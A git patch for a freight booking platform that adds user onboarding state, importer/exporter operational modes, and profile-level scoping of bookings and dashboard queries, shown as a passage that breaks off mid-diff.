From ed91f817ff890c2492f2e42a45037f870088064b Mon Sep 17 00:00:00 2001 From: Marshal Date: Fri, 19 Jun 2026 22:07:58 +0000 Subject: [PATCH 01/19] feat: enhance onboarding process and company profile management - Updated CompanyInfoResponseDto to include company profile data in response. - Enhanced ResponseExternalProfileDto to include active profile type and onboarding details. - Added new fields to ExternalProfile entity for active profile type and onboarding status. - Implemented onboarding wizard dialog in the frontend to guide users through the onboarding process. - Introduced API endpoints for managing company profiles and onboarding steps. - Created migrations to add new columns for active mode and onboarding status in the database. - Added functionality to switch between operational modes (importer/exporter) and create profiles as needed. - Improved user experience by ensuring onboarding is enforced for new users and those without completed profiles. --- ...tiveModeAndOnboardingToExternalProfiles.ts | 67 ++++++ ...000000001-AddCompanyProfileIdToBookings.ts | 94 ++++++++ .../modules/bookings/bookings.controller.ts | 10 +- .../modules/bookings/bookings.repository.ts | 6 + .../src/modules/bookings/bookings.service.ts | 63 +++++- .../bookings/entities/booking.entity.ts | 15 ++ .../modules/companies/companies.controller.ts | 55 +++++ .../modules/companies/companies.service.ts | 181 ++++++++++++++- .../companies/company-dashboard.repository.ts | 87 +++++--- .../dto/company-info-response.dto.ts | 2 +- .../dto/create-company-profile.dto.ts | 12 + .../dto/response-external-profile.dto.ts | 25 ++- .../companies/dto/set-active-mode.dto.ts | 7 + .../companies/dto/set-onboarding-step.dto.ts | 7 + .../entities/external-profile.entity.ts | 28 +++ apps/edr-freight-web/portal/src/App.tsx | 54 +++-- .../portal/src/components/AppLayout.tsx | 191 ++++++++++++++-- .../onboarding/OnboardingWizardDialog.tsx | 209 ++++++++++++++++++ .../portal/src/constants/URLS.ts | 4 + .../portal/src/hooks/useAuth.ts | 56 +++++ .../portal/src/services/api.ts | 24 ++ .../portal/src/services/companies.service.ts | 47 ++++ 22 files changed, 1163 insertions(+), 81 deletions(-) create mode 100644 apps/edr-freight-api/src/migrations/1791000000000-AddActiveModeAndOnboardingToExternalProfiles.ts create mode 100644 apps/edr-freight-api/src/migrations/1791000000001-AddCompanyProfileIdToBookings.ts create mode 100644 apps/edr-freight-api/src/modules/companies/dto/create-company-profile.dto.ts create mode 100644 apps/edr-freight-api/src/modules/companies/dto/set-active-mode.dto.ts create mode 100644 apps/edr-freight-api/src/modules/companies/dto/set-onboarding-step.dto.ts create mode 100644 apps/edr-freight-web/portal/src/components/onboarding/OnboardingWizardDialog.tsx diff --git a/apps/edr-freight-api/src/migrations/1791000000000-AddActiveModeAndOnboardingToExternalProfiles.ts b/apps/edr-freight-api/src/migrations/1791000000000-AddActiveModeAndOnboardingToExternalProfiles.ts new file mode 100644 index 000000000..8484ca0f9 --- /dev/null +++ b/apps/edr-freight-api/src/migrations/1791000000000-AddActiveModeAndOnboardingToExternalProfiles.ts @@ -0,0 +1,67 @@ +import { MigrationInterface, QueryRunner } from 'typeorm'; + +export class AddActiveModeAndOnboardingToExternalProfiles1791000000000 + implements MigrationInterface +{ + name = 'AddActiveModeAndOnboardingToExternalProfiles1791000000000'; + + public async up(queryRunner: QueryRunner): Promise { + await queryRunner.query(` + ALTER TABLE freight.external_profiles + ADD COLUMN IF NOT EXISTS active_profile_type varchar(32); + `); + + await queryRunner.query(` + ALTER TABLE freight.external_profiles + ADD COLUMN IF NOT EXISTS onboarding_step varchar(40); + `); + + await queryRunner.query(` + ALTER TABLE freight.external_profiles + ADD COLUMN IF NOT EXISTS onboarding_completed boolean NOT NULL DEFAULT false; + `); + + // Existing users already use the portal — never re-gate them behind the + // new onboarding wizard. + await queryRunner.query(` + UPDATE freight.external_profiles + SET onboarding_completed = true + WHERE onboarding_completed = false; + `); + + // Backfill the active mode for existing users from their company's + // operational profiles. Prefer importer, then exporter, then whichever + // single profile the company has (forwarder/dj/transporter). + await queryRunner.query(` + UPDATE freight.external_profiles ep + SET active_profile_type = cp.type + FROM ( + SELECT DISTINCT ON (company_id) company_id, type + FROM freight.company_profiles + ORDER BY company_id, + CASE type + WHEN 'importer' THEN 0 + WHEN 'exporter' THEN 1 + ELSE 2 + END + ) cp + WHERE ep.company_id = cp.company_id + AND ep.active_profile_type IS NULL; + `); + } + + public async down(queryRunner: QueryRunner): Promise { + await queryRunner.query(` + ALTER TABLE freight.external_profiles + DROP COLUMN IF EXISTS onboarding_completed; + `); + await queryRunner.query(` + ALTER TABLE freight.external_profiles + DROP COLUMN IF EXISTS onboarding_step; + `); + await queryRunner.query(` + ALTER TABLE freight.external_profiles + DROP COLUMN IF EXISTS active_profile_type; + `); + } +} diff --git a/apps/edr-freight-api/src/migrations/1791000000001-AddCompanyProfileIdToBookings.ts b/apps/edr-freight-api/src/migrations/1791000000001-AddCompanyProfileIdToBookings.ts new file mode 100644 index 000000000..0ca1a0d28 --- /dev/null +++ b/apps/edr-freight-api/src/migrations/1791000000001-AddCompanyProfileIdToBookings.ts @@ -0,0 +1,94 @@ +import { MigrationInterface, QueryRunner } from 'typeorm'; + +export class AddCompanyProfileIdToBookings1791000000001 + implements MigrationInterface +{ + name = 'AddCompanyProfileIdToBookings1791000000001'; + + public async up(queryRunner: QueryRunner): Promise { + await queryRunner.query(` + ALTER TABLE freight.bookings + ADD COLUMN IF NOT EXISTS company_profile_id UUID; + `); + + await queryRunner.query(` + CREATE INDEX IF NOT EXISTS idx_bookings_company_profile_id + ON freight.bookings(company_profile_id); + `); + + await queryRunner.query(` + DO $$ + BEGIN + IF NOT EXISTS ( + SELECT 1 FROM pg_constraint WHERE conname = 'FK_bookings_company_profile_id' + ) THEN + ALTER TABLE freight.bookings + ADD CONSTRAINT "FK_bookings_company_profile_id" + FOREIGN KEY (company_profile_id) + REFERENCES freight.company_profiles(id); + END IF; + END $$; + `); + + // Backfill by natural mapping: IMPORT → importer profile, EXPORT → exporter + // profile, for each booking's own company. + await queryRunner.query(` + UPDATE freight.bookings b + SET company_profile_id = cp.id + FROM freight.company_profiles cp + WHERE cp.company_id = b.company_id + AND b.company_profile_id IS NULL + AND ( + (b.trade_direction = 'IMPORT' AND cp.type = 'importer') OR + (b.trade_direction = 'EXPORT' AND cp.type = 'exporter') + ); + `); + + // Forwarder / single-profile companies: one profile per company, so the + // mapping is unambiguous regardless of trade direction. + await queryRunner.query(` + UPDATE freight.bookings b + SET company_profile_id = cp.id + FROM freight.company_profiles cp + JOIN freight.companies c ON c.id = cp.company_id + WHERE cp.company_id = b.company_id + AND c.type <> 'customer' + AND b.company_profile_id IS NULL; + `); + + // Remaining customer-owned rows (e.g. DOMESTIC, or a direction with no + // matching profile): attribute to the company's importer profile, else its + // exporter profile, so nothing disappears from the customer's list. + await queryRunner.query(` + UPDATE freight.bookings b + SET company_profile_id = cp.id + FROM ( + SELECT DISTINCT ON (company_id) company_id, id + FROM freight.company_profiles + ORDER BY company_id, + CASE type + WHEN 'importer' THEN 0 + WHEN 'exporter' THEN 1 + ELSE 2 + END + ) cp + WHERE cp.company_id = b.company_id + AND b.company_id IS NOT NULL + AND b.company_profile_id IS NULL; + `); + } + + public async down(queryRunner: QueryRunner): Promise { + await queryRunner.query(` + ALTER TABLE freight.bookings + DROP CONSTRAINT IF EXISTS "FK_bookings_company_profile_id"; + `); + await queryRunner.query(` + DROP INDEX IF EXISTS freight.idx_bookings_company_profile_id; + `); + await queryRunner.query(` + ALTER TABLE freight.bookings + DROP COLUMN IF EXISTS company_profile_id; + `); + } +} diff --git a/apps/edr-freight-api/src/modules/bookings/bookings.controller.ts b/apps/edr-freight-api/src/modules/bookings/bookings.controller.ts index ae0f1765a..77303d08d 100644 --- a/apps/edr-freight-api/src/modules/bookings/bookings.controller.ts +++ b/apps/edr-freight-api/src/modules/bookings/bookings.controller.ts @@ -133,7 +133,15 @@ export class BookingsController { await this.bookingsService.resolveCustomerCompanyId(userId); // No linked company yet → no bookings to show (avoids leaking all bookings). if (!companyId) return { items: [], total: 0 }; - return this.bookingsService.findAll(filter, companyId); + // Scope to the active operational profile (importer/exporter) when one + // resolves; otherwise fall back to company-level scoping. + const companyProfileId = + await this.bookingsService.resolveActiveCompanyProfileId(userId); + return this.bookingsService.findAll( + filter, + companyId, + companyProfileId ?? undefined, + ); } @Get('list-summary') diff --git a/apps/edr-freight-api/src/modules/bookings/bookings.repository.ts b/apps/edr-freight-api/src/modules/bookings/bookings.repository.ts index b173bfe68..e1e75e049 100644 --- a/apps/edr-freight-api/src/modules/bookings/bookings.repository.ts +++ b/apps/edr-freight-api/src/modules/bookings/bookings.repository.ts @@ -25,6 +25,7 @@ export interface BookingListFilterOptions { schedulingStatuses?: string[]; assignedToSchedule?: 'true' | 'false'; companyId?: string; + companyProfileId?: string; contractType?: string; serviceTypeId?: string; cargoTypeId?: string; @@ -559,6 +560,11 @@ export class BookingsRepository extends BaseRepository { companyId: options.companyId, }); } + if (options.companyProfileId) { + qb.andWhere('booking.company_profile_id = :companyProfileId', { + companyProfileId: options.companyProfileId, + }); + } if (options.contractType) { qb.andWhere('booking.contract_type = :contractType', { contractType: options.contractType, diff --git a/apps/edr-freight-api/src/modules/bookings/bookings.service.ts b/apps/edr-freight-api/src/modules/bookings/bookings.service.ts index 4c8ef2cab..5253ca9bd 100644 --- a/apps/edr-freight-api/src/modules/bookings/bookings.service.ts +++ b/apps/edr-freight-api/src/modules/bookings/bookings.service.ts @@ -10,6 +10,7 @@ import { import { Freight, SchedulingStatus } from '@edr/types'; // import { CustomersService } from '../customers/customers.service'; import { CompaniesService } from '../companies/companies.service'; +import { ProfileType } from '../companies/entities/company-profile.entity'; import { TrainSchedulingService } from '../train-scheduling/train-scheduling.service'; import { eatDay } from '../train-scheduling/batch-window.util'; import { FilesService } from '../files/files.service'; @@ -323,6 +324,29 @@ export class BookingsService { dto.tradeDirection, ); + // Stamp the operational profile this booking belongs to (importer/exporter) + // so the customer portal can scope lists/KPIs to the active mode. Best-effort + // for non-government bookings with a resolved company; never blocks creation. + let companyProfileId: string | null = null; + if (!isGovernment && companyId) { + let fallbackType: ProfileType | null = null; + if (userId) { + try { + const { profile } = + await this.companiesService.getCompanyInfoByUserId(userId); + fallbackType = profile.activeProfileType ?? null; + } catch { + // No profile (e.g. staff creating on behalf) — fall back to mapping. + } + } + companyProfileId = + await this.companiesService.resolveCompanyProfileIdForBooking( + companyId, + tradeDirection, + fallbackType, + ); + } + const allowConsolidation = dto.freightType === 'CONTAINER' ? await this.resolveConsolidation(containers, dto.allowConsolidation) @@ -348,6 +372,7 @@ export class BookingsService { const booking = await this.bookingsRepository.create({ reference, companyId: companyId ?? null, + companyProfileId, isGovernment, governmentInstitution: isGovernment ? dto.governmentInstitution!.trim() : null, trainId: dto.trainId, @@ -504,6 +529,22 @@ export class BookingsService { priorityScore: ruleResult.priorityScore, tradeDirection, }; + // If the route (hence trade direction) changed, re-stamp the operational + // profile so an edited draft doesn't get stranded under the wrong profile. + if ( + tradeDirection !== existing.tradeDirection && + !existing.isGovernment && + existing.companyId + ) { + updates.companyProfileId = + await this.companiesService.resolveCompanyProfileIdForBooking( + existing.companyId, + tradeDirection, + existing.companyProfileId + ? undefined + : (existing.companyProfile?.type as ProfileType | undefined), + ); + } if (dto.scheduledDate) updates.scheduledDate = new Date(dto.scheduledDate); if (dto.startDate) updates.startDate = new Date(dto.startDate); if (dto.endDate) updates.endDate = new Date(dto.endDate); @@ -583,6 +624,7 @@ export class BookingsService { async findAll( filter: FilterBookingDto, forceCompanyId?: string, + forceCompanyProfileId?: string, ): Promise<{ items: Booking[]; total: number }> { const page = filter.page ?? 1; const pageSize = filter.pageSize ?? 20; @@ -597,7 +639,10 @@ export class BookingsService { assignedToSchedule: filter.assignedToSchedule, // A forced company scope (portal/customer) overrides any caller-provided // companyId so a customer can only ever see their own company's bookings. - companyId: forceCompanyId ?? filter.companyId, + // When an active profile resolves, scope to it; otherwise fall back to the + // company so nothing breaks for not-yet-onboarded customers. + companyId: forceCompanyProfileId ? undefined : forceCompanyId ?? filter.companyId, + companyProfileId: forceCompanyProfileId, contractType: filter.contractType, serviceTypeId: filter.serviceTypeId, cargoTypeId: filter.cargoTypeId, @@ -629,13 +674,18 @@ export class BookingsService { filter: FilterBookingDto, ): Promise<{ items: Booking[]; total: number }> { const { company } = await this.companiesService.getCompanyInfoByUserId(userId); + // Scope to the active operational profile when one resolves; fall back to + // company-level so not-yet-onboarded customers still see their payables. + const companyProfileId = + await this.companiesService.resolveActiveCompanyProfileId(userId); return this.bookingsRepository.findAllPaginated({ page: filter.page ?? 1, pageSize: filter.pageSize ?? 20, statuses: BookingsService.PAYABLE_STATUSES, excludePaymentStatus: 'PAID', - companyId: company.id, + companyId: companyProfileId ? undefined : company.id, + companyProfileId: companyProfileId ?? undefined, sortBy: filter.sortBy, sortOrder: filter.sortOrder, }); @@ -655,6 +705,15 @@ export class BookingsService { } } + /** + * Resolve the active company_profile id a customer's bookings should be + * scoped to (importer/exporter mode). Null when not onboarded — callers fall + * back to company-level scoping. + */ + async resolveActiveCompanyProfileId(userId: string): Promise { + return this.companiesService.resolveActiveCompanyProfileId(userId); + } + /** * Authorize a customer's access to a single booking. Staff are scoped at the * controller (they pass `isStaff`); for a customer, the booking must belong diff --git a/apps/edr-freight-api/src/modules/bookings/entities/booking.entity.ts b/apps/edr-freight-api/src/modules/bookings/entities/booking.entity.ts index c5dac1736..d110391b7 100644 --- a/apps/edr-freight-api/src/modules/bookings/entities/booking.entity.ts +++ b/apps/edr-freight-api/src/modules/bookings/entities/booking.entity.ts @@ -3,6 +3,7 @@ import { SchedulingStatus } from '@edr/types'; import { Column, Entity, JoinColumn, ManyToOne, OneToMany } from 'typeorm'; // import { Customer } from '../../customers/entities/customer.entity'; import { Company } from '../../companies/entities/company.entity'; +import { CompanyProfile } from '../../companies/entities/company-profile.entity'; import { CargoType } from '../../rule-engine/entities/cargo-type.entity'; import { ServiceType } from '../../rule-engine/entities/service-type.entity'; import { ShippingLine } from '../../rule-engine/entities/shipping-line.entity'; @@ -92,6 +93,20 @@ export class Booking extends BaseEntity { @JoinColumn({ name: 'company_id' }) company?: Company | null; + /** + * The operational profile (importer/exporter/forwarder) this booking belongs + * to. Stamped at creation from the booking's trade direction (IMPORT→importer, + * EXPORT→exporter) or the user's active profile for DOMESTIC/forwarder. + * Customer portal lists and dashboard KPIs are scoped by this. Nullable for + * legacy/government/staff-created bookings. + */ + @Column({ name: 'company_profile_id', type: 'uuid', nullable: true }) + companyProfileId?: string | null; + + @ManyToOne(() => CompanyProfile, { nullable: true }) + @JoinColumn({ name: 'company_profile_id' }) + companyProfile?: CompanyProfile | null; + @Column({ name: 'is_government', type: 'boolean', default: false }) isGovernment!: boolean; diff --git a/apps/edr-freight-api/src/modules/companies/companies.controller.ts b/apps/edr-freight-api/src/modules/companies/companies.controller.ts index ac2868ec3..d09effef3 100644 --- a/apps/edr-freight-api/src/modules/companies/companies.controller.ts +++ b/apps/edr-freight-api/src/modules/companies/companies.controller.ts @@ -24,6 +24,9 @@ import { UpdateCompanyDto } from "./dto/update-company.dto"; import { CreateExternalProfileDto } from "./dto/create-external-profile.dto"; import { CreateCompanyWithProfileDto } from "./dto/create-company-with-profile.dto"; import { AddCompanyProfilesDto } from "./dto/add-company-profiles.dto"; +import { CreateCompanyProfileDto } from "./dto/create-company-profile.dto"; +import { SetActiveModeDto } from "./dto/set-active-mode.dto"; +import { SetOnboardingStepDto } from "./dto/set-onboarding-step.dto"; import { ResponseCompanyDto, ResponseCompanyProfileDto, @@ -105,6 +108,58 @@ export class CompaniesController { return profiles.map((p) => new ResponseCompanyProfileDto(p)); } + @Post("company-profile") + @ApiOperation({ + summary: + "Create a single operational profile for the current user's company and make it the active mode", + }) + async createCompanyProfile( + @CurrentUser() user: CurrentIamUser, + @Body() dto: CreateCompanyProfileDto, + ): Promise { + const profile = await this.companiesService.createCompanyProfileForUser( + user.id, + dto.type, + dto.businessLicense, + ); + return new ResponseCompanyProfileDto(profile); + } + + @Patch("active-mode") + @ApiOperation({ + summary: "Switch the current user's active operational mode (importer/exporter)", + }) + async setActiveMode( + @CurrentUser() user: CurrentIamUser, + @Body() dto: SetActiveModeDto, + ): Promise { + const { profile, company } = await this.companiesService.setActiveMode( + user.id, + dto.type, + ); + return new CompanyInfoResponseDto(profile, company); + } + + @Patch("onboarding-step") + @ApiOperation({ summary: "Persist the user's current onboarding wizard step" }) + @HttpCode(HttpStatus.NO_CONTENT) + async setOnboardingStep( + @CurrentUser() user: CurrentIamUser, + @Body() dto: SetOnboardingStepDto, + ): Promise { + await this.companiesService.setOnboardingStep(user.id, dto.step); + } + + @Post("onboarding/complete") + @ApiOperation({ summary: "Mark the current user's onboarding as complete" }) + async completeOnboarding( + @CurrentUser() user: CurrentIamUser, + ): Promise { + const { profile, company } = + await this.companiesService.markOnboardingComplete(user.id); + return new CompanyInfoResponseDto(profile, company); + } + // Used by portal @Post("create") @ApiOperation({ diff --git a/apps/edr-freight-api/src/modules/companies/companies.service.ts b/apps/edr-freight-api/src/modules/companies/companies.service.ts index fe1bc5598..edeaafe57 100644 --- a/apps/edr-freight-api/src/modules/companies/companies.service.ts +++ b/apps/edr-freight-api/src/modules/companies/companies.service.ts @@ -81,6 +81,18 @@ export class CompaniesService { attributes: dto.attributes ?? null, }); + // Default active mode from the chosen role(s): importer wins when both are + // picked, otherwise the first allowed type chosen. + const allowedTypes = this.getProfileTypeForCompanyType(company.type); + const chosenTypes = (dto.companyProfiles ?? []) + .map((p) => p.type) + .filter((t) => allowedTypes.includes(t)); + const activeProfileType = + chosenTypes.find((t) => t === ProfileType.importer) ?? + chosenTypes[0] ?? + allowedTypes[0] ?? + null; + const profile = await this.profilesRepo.create({ userId: identity.userId, companyId: company.id, @@ -90,6 +102,8 @@ export class CompaniesService { phone: identity.phone, jobTitle: dto.jobTitle ?? null, isPrimaryContact: dto.isPrimaryContact ?? true, + activeProfileType, + onboardingStep: 'company', }); // Persist the operational role(s) chosen during onboarding. Types are @@ -174,6 +188,18 @@ export class CompaniesService { const companyId = profile?.company?.id ?? profile?.companyId ?? null; if (!companyId) return this.emptyDashboardSummary(); + // Scope KPIs to the active operational profile (importer/exporter mode) when + // one resolves; otherwise aggregate across the whole company. + const companyProfileId = profile?.activeProfileType + ? ((await this.companyProfilesRepo.findByType( + companyId, + profile.activeProfileType, + )) ?? null) + : null; + const scope = companyProfileId + ? { companyProfileId: companyProfileId.id } + : { companyId }; + const now = new Date(); const yearStart = new Date(now.getFullYear(), 0, 1); const prevYearStart = new Date(now.getFullYear() - 1, 0, 1); @@ -191,22 +217,22 @@ export class CompaniesService { tonnagePrev, monthlyRows, ] = await Promise.all([ - this.dashboardRepo.countDelivered(companyId, yearStart, now), - this.dashboardRepo.countCommitted(companyId, yearStart, now), - this.dashboardRepo.sumPaidSpendByCurrency(companyId, yearStart, now), + this.dashboardRepo.countDelivered(scope, yearStart, now), + this.dashboardRepo.countCommitted(scope, yearStart, now), + this.dashboardRepo.sumPaidSpendByCurrency(scope, yearStart, now), this.dashboardRepo.sumPaidSpendByCurrency( - companyId, + scope, prevYearStart, prevYearToDate, ), - this.dashboardRepo.sumCommittedTonnage(companyId, yearStart, now), + this.dashboardRepo.sumCommittedTonnage(scope, yearStart, now), this.dashboardRepo.sumCommittedTonnage( - companyId, + scope, prevYearStart, prevYearToDate, ), this.dashboardRepo.monthlyCommittedTonnage( - companyId, + scope, this.monthsAgo(now, 5), now, ), @@ -505,4 +531,145 @@ export class CompaniesService { return this.companyProfilesRepo.findByCompanyId(companyId); } + + /** + * Create a single operational profile for the current user's company and + * make it the active mode in the same call. Powers the header "Switch to + * Exporter/Importer" flow when the target profile doesn't exist yet. + */ + async createCompanyProfileForUser( + userId: string, + type: ProfileType, + businessLicense?: string, + ): Promise { + const profile = await this.profilesRepo.findByUserId(userId); + if (!profile) + throw new NotFoundException(`Profile for user ${userId} not found`); + + const companyId = profile.company?.id ?? profile.companyId; + const company = await this.findCompanyById(companyId); + const allowedTypes = this.getProfileTypeForCompanyType(company.type); + if (!allowedTypes.includes(type)) { + throw new BadRequestException( + `Profile type "${type}" is not allowed for company type "${company.type}"`, + ); + } + + let created = await this.companyProfilesRepo.findByType(companyId, type); + if (!created) { + const reference = await this.companyProfilesRepo.generateReference(type); + created = await this.companyProfilesRepo.create({ + companyId, + type, + reference, + businessLicense: businessLicense ?? null, + status: ProfileStatus.Active, + }); + } + + await this.profilesRepo.update(profile.id, { activeProfileType: type }); + + return created; + } + + /** + * Switch the user's active operational mode. The target profile must already + * exist — clients create it first via createCompanyProfileForUser. + */ + async setActiveMode( + userId: string, + type: ProfileType, + ): Promise<{ profile: ExternalProfile; company: Company }> { + const profile = await this.profilesRepo.findByUserId(userId); + if (!profile) + throw new NotFoundException(`Profile for user ${userId} not found`); + + const companyId = profile.company?.id ?? profile.companyId; + const company = await this.findCompanyById(companyId); + + const allowedTypes = this.getProfileTypeForCompanyType(company.type); + if (!allowedTypes.includes(type)) { + throw new BadRequestException( + `Profile type "${type}" is not allowed for company type "${company.type}"`, + ); + } + + const existing = await this.companyProfilesRepo.findByType(companyId, type); + if (!existing) { + throw new ConflictException( + `No ${type} profile exists yet — create it before switching`, + ); + } + + await this.profilesRepo.update(profile.id, { activeProfileType: type }); + + return this.getCompanyInfoByUserId(userId); + } + + async setOnboardingStep(userId: string, step: string): Promise { + const profile = await this.profilesRepo.findByUserId(userId); + if (!profile) + throw new NotFoundException(`Profile for user ${userId} not found`); + await this.profilesRepo.update(profile.id, { onboardingStep: step }); + } + + async markOnboardingComplete( + userId: string, + ): Promise<{ profile: ExternalProfile; company: Company }> { + const profile = await this.profilesRepo.findByUserId(userId); + if (!profile) + throw new NotFoundException(`Profile for user ${userId} not found`); + await this.profilesRepo.update(profile.id, { + onboardingCompleted: true, + onboardingStep: 'done', + }); + return this.getCompanyInfoByUserId(userId); + } + + /** + * Resolve which company_profile a new booking belongs to, from the company + * and the booking's trade direction. IMPORT → importer profile, EXPORT → + * exporter profile; for DOMESTIC or a forwarder/single-profile company (or + * when the natural profile doesn't exist) it falls back to the user's active + * profile, then the company's first profile. Returns null when the company + * has no profiles at all. + */ + async resolveCompanyProfileIdForBooking( + companyId: string, + tradeDirection: string, + fallbackType?: ProfileType | null, + ): Promise { + const profiles = await this.companyProfilesRepo.findByCompanyId(companyId); + if (profiles.length === 0) return null; + + const naturalType = + tradeDirection === 'IMPORT' + ? ProfileType.importer + : tradeDirection === 'EXPORT' + ? ProfileType.exporter + : null; + + const byType = (type?: ProfileType | null) => + type ? profiles.find((p) => p.type === type) : undefined; + + const match = byType(naturalType) ?? byType(fallbackType) ?? profiles[0]; + return match?.id ?? null; + } + + /** + * Resolve the company_profile a customer's data should be scoped to, from + * their persisted active mode. Returns null when nothing can be resolved + * (not onboarded yet) so callers can fall back to company-level scoping. + */ + async resolveActiveCompanyProfileId(userId: string): Promise { + try { + const { profile, company } = await this.getCompanyInfoByUserId(userId); + const type = profile.activeProfileType; + if (!type) return null; + const match = company.companyProfiles?.find((p) => p.type === type); + return match?.id ?? null; + } catch { + return null; + } + } } diff --git a/apps/edr-freight-api/src/modules/companies/company-dashboard.repository.ts b/apps/edr-freight-api/src/modules/companies/company-dashboard.repository.ts index 365cf1daa..842a36616 100644 --- a/apps/edr-freight-api/src/modules/companies/company-dashboard.repository.ts +++ b/apps/edr-freight-api/src/modules/companies/company-dashboard.repository.ts @@ -1,6 +1,6 @@ import { Injectable } from '@nestjs/common'; import { InjectRepository } from '@nestjs/typeorm'; -import { Repository } from 'typeorm'; +import { Repository, SelectQueryBuilder } from 'typeorm'; import { Booking } from '../bookings/entities/booking.entity'; @@ -31,6 +31,27 @@ export interface CurrencyTotal { total: number; } +/** + * What the dashboard is scoped to: a single operational profile (the active + * importer/exporter mode) when one resolves, otherwise the whole company + * (legacy / not-yet-onboarded fallback). + */ +export type DashboardScope = + | { companyProfileId: string } + | { companyId: string }; + +/** Apply the scope as a WHERE clause on a bookings query builder. */ +function applyScope( + qb: SelectQueryBuilder, + scope: DashboardScope, +): SelectQueryBuilder { + return 'companyProfileId' in scope + ? qb.where('b.company_profile_id = :companyProfileId', { + companyProfileId: scope.companyProfileId, + }) + : qb.where('b.company_id = :companyId', { companyId: scope.companyId }); +} + export interface MonthlyTonnage { year: number; month: number; // 1-12 @@ -50,35 +71,33 @@ export class CompanyDashboardRepository { private readonly bookings: Repository, ) {} - /** Count of delivered/completed bookings for a company within [from, to). */ - async countDelivered(companyId: string, from: Date, to: Date): Promise { - return this.bookings - .createQueryBuilder('b') - .where('b.company_id = :companyId', { companyId }) + /** Count of delivered/completed bookings within [from, to) for the scope. */ + async countDelivered(scope: DashboardScope, from: Date, to: Date): Promise { + return applyScope(this.bookings.createQueryBuilder('b'), scope) .andWhere('b.deleted_at IS NULL') .andWhere('b.status IN (:...statuses)', { statuses: [...DELIVERED_STATUSES] }) .andWhere('b.created_at >= :from AND b.created_at < :to', { from, to }) .getCount(); } - /** Count of committed (non-draft, non-dead) bookings for a company within [from, to). */ - async countCommitted(companyId: string, from: Date, to: Date): Promise { - return this.bookings - .createQueryBuilder('b') - .where('b.company_id = :companyId', { companyId }) + /** Count of committed (non-draft, non-dead) bookings within [from, to) for the scope. */ + async countCommitted(scope: DashboardScope, from: Date, to: Date): Promise { + return applyScope(this.bookings.createQueryBuilder('b'), scope) .andWhere('b.deleted_at IS NULL') .andWhere('b.status IN (:...statuses)', { statuses: [...COMMITTED_STATUSES] }) .andWhere('b.created_at >= :from AND b.created_at < :to', { from, to }) .getCount(); } - /** Sum of paid booking totals, grouped by currency, within [from, to). */ - async sumPaidSpendByCurrency(companyId: string, from: Date, to: Date): Promise { - const rows = await this.bookings - .createQueryBuilder('b') - .select('b.payment_currency', 'currency') - .addSelect('COALESCE(SUM(b.total_amount), 0)', 'total') - .where('b.company_id = :companyId', { companyId }) + /** Sum of paid booking totals, grouped by currency, within [from, to) for the scope. */ + async sumPaidSpendByCurrency(scope: DashboardScope, from: Date, to: Date): Promise { + const rows = await applyScope( + this.bookings + .createQueryBuilder('b') + .select('b.payment_currency', 'currency') + .addSelect('COALESCE(SUM(b.total_amount), 0)', 'total'), + scope, + ) .andWhere('b.deleted_at IS NULL') .andWhere("b.payment_status = 'PAID'") .andWhere('b.created_at >= :from AND b.created_at < :to', { from, to }) @@ -88,12 +107,14 @@ export class CompanyDashboardRepository { return rows.map((r) => ({ currency: r.currency ?? 'ETB', total: Number(r.total) })); } - /** Total committed tonnage (cargo VGM) for a company within [from, to). */ - async sumCommittedTonnage(companyId: string, from: Date, to: Date): Promise { - const row = await this.bookings - .createQueryBuilder('b') - .select('COALESCE(SUM(b.cargo_total_weight_vgm), 0)', 'total') - .where('b.company_id = :companyId', { companyId }) + /** Total committed tonnage (cargo VGM) within [from, to) for the scope. */ + async sumCommittedTonnage(scope: DashboardScope, from: Date, to: Date): Promise { + const row = await applyScope( + this.bookings + .createQueryBuilder('b') + .select('COALESCE(SUM(b.cargo_total_weight_vgm), 0)', 'total'), + scope, + ) .andWhere('b.deleted_at IS NULL') .andWhere('b.status IN (:...statuses)', { statuses: [...COMMITTED_STATUSES] }) .andWhere('b.created_at >= :from AND b.created_at < :to', { from, to }) @@ -102,14 +123,16 @@ export class CompanyDashboardRepository { return Number(row?.total ?? 0); } - /** Committed tonnage grouped by calendar month within [from, to). */ - async monthlyCommittedTonnage(companyId: string, from: Date, to: Date): Promise { - const rows = await this.bookings - .createQueryBuilder('b') - .select('EXTRACT(YEAR FROM b.created_at)', 'year') - .addSelect('EXTRACT(MONTH FROM b.created_at)', 'month') - .addSelect('COALESCE(SUM(b.cargo_total_weight_vgm), 0)', 'total') - .where('b.company_id = :companyId', { companyId }) + /** Committed tonnage grouped by calendar month within [from, to) for the scope. */ + async monthlyCommittedTonnage(scope: DashboardScope, from: Date, to: Date): Promise { + const rows = await applyScope( + this.bookings + .createQueryBuilder('b') + .select('EXTRACT(YEAR FROM b.created_at)', 'year') + .addSelect('EXTRACT(MONTH FROM b.created_at)', 'month') + .addSelect('COALESCE(SUM(b.cargo_total_weight_vgm), 0)', 'total'), + scope, + ) .andWhere('b.deleted_at IS NULL') .andWhere('b.status IN (:...statuses)', { statuses: [...COMMITTED_STATUSES] }) .andWhere('b.created_at >= :from AND b.created_at < :to', { from, to }) diff --git a/apps/edr-freight-api/src/modules/companies/dto/company-info-response.dto.ts b/apps/edr-freight-api/src/modules/companies/dto/company-info-response.dto.ts index f6ffb8296..04fd42816 100644 --- a/apps/edr-freight-api/src/modules/companies/dto/company-info-response.dto.ts +++ b/apps/edr-freight-api/src/modules/companies/dto/company-info-response.dto.ts @@ -8,7 +8,7 @@ export class CompanyInfoResponseDto { company: ResponseCompanyDto; constructor(profile: ExternalProfile, company: Company) { - this.profile = new ResponseExternalProfileDto(profile); + this.profile = new ResponseExternalProfileDto(profile, company); this.company = new ResponseCompanyDto(company); } } diff --git a/apps/edr-freight-api/src/modules/companies/dto/create-company-profile.dto.ts b/apps/edr-freight-api/src/modules/companies/dto/create-company-profile.dto.ts new file mode 100644 index 000000000..9ac6c13b7 --- /dev/null +++ b/apps/edr-freight-api/src/modules/companies/dto/create-company-profile.dto.ts @@ -0,0 +1,12 @@ +import { IsEnum, IsOptional, IsString, MaxLength } from 'class-validator'; +import { ProfileType } from '../entities/company-profile.entity'; + +export class CreateCompanyProfileDto { + @IsEnum(ProfileType) + type!: ProfileType; + + @IsOptional() + @IsString() + @MaxLength(100) + businessLicense?: string; +} diff --git a/apps/edr-freight-api/src/modules/companies/dto/response-external-profile.dto.ts b/apps/edr-freight-api/src/modules/companies/dto/response-external-profile.dto.ts index a33585845..7e17bcc60 100644 --- a/apps/edr-freight-api/src/modules/companies/dto/response-external-profile.dto.ts +++ b/apps/edr-freight-api/src/modules/companies/dto/response-external-profile.dto.ts @@ -1,4 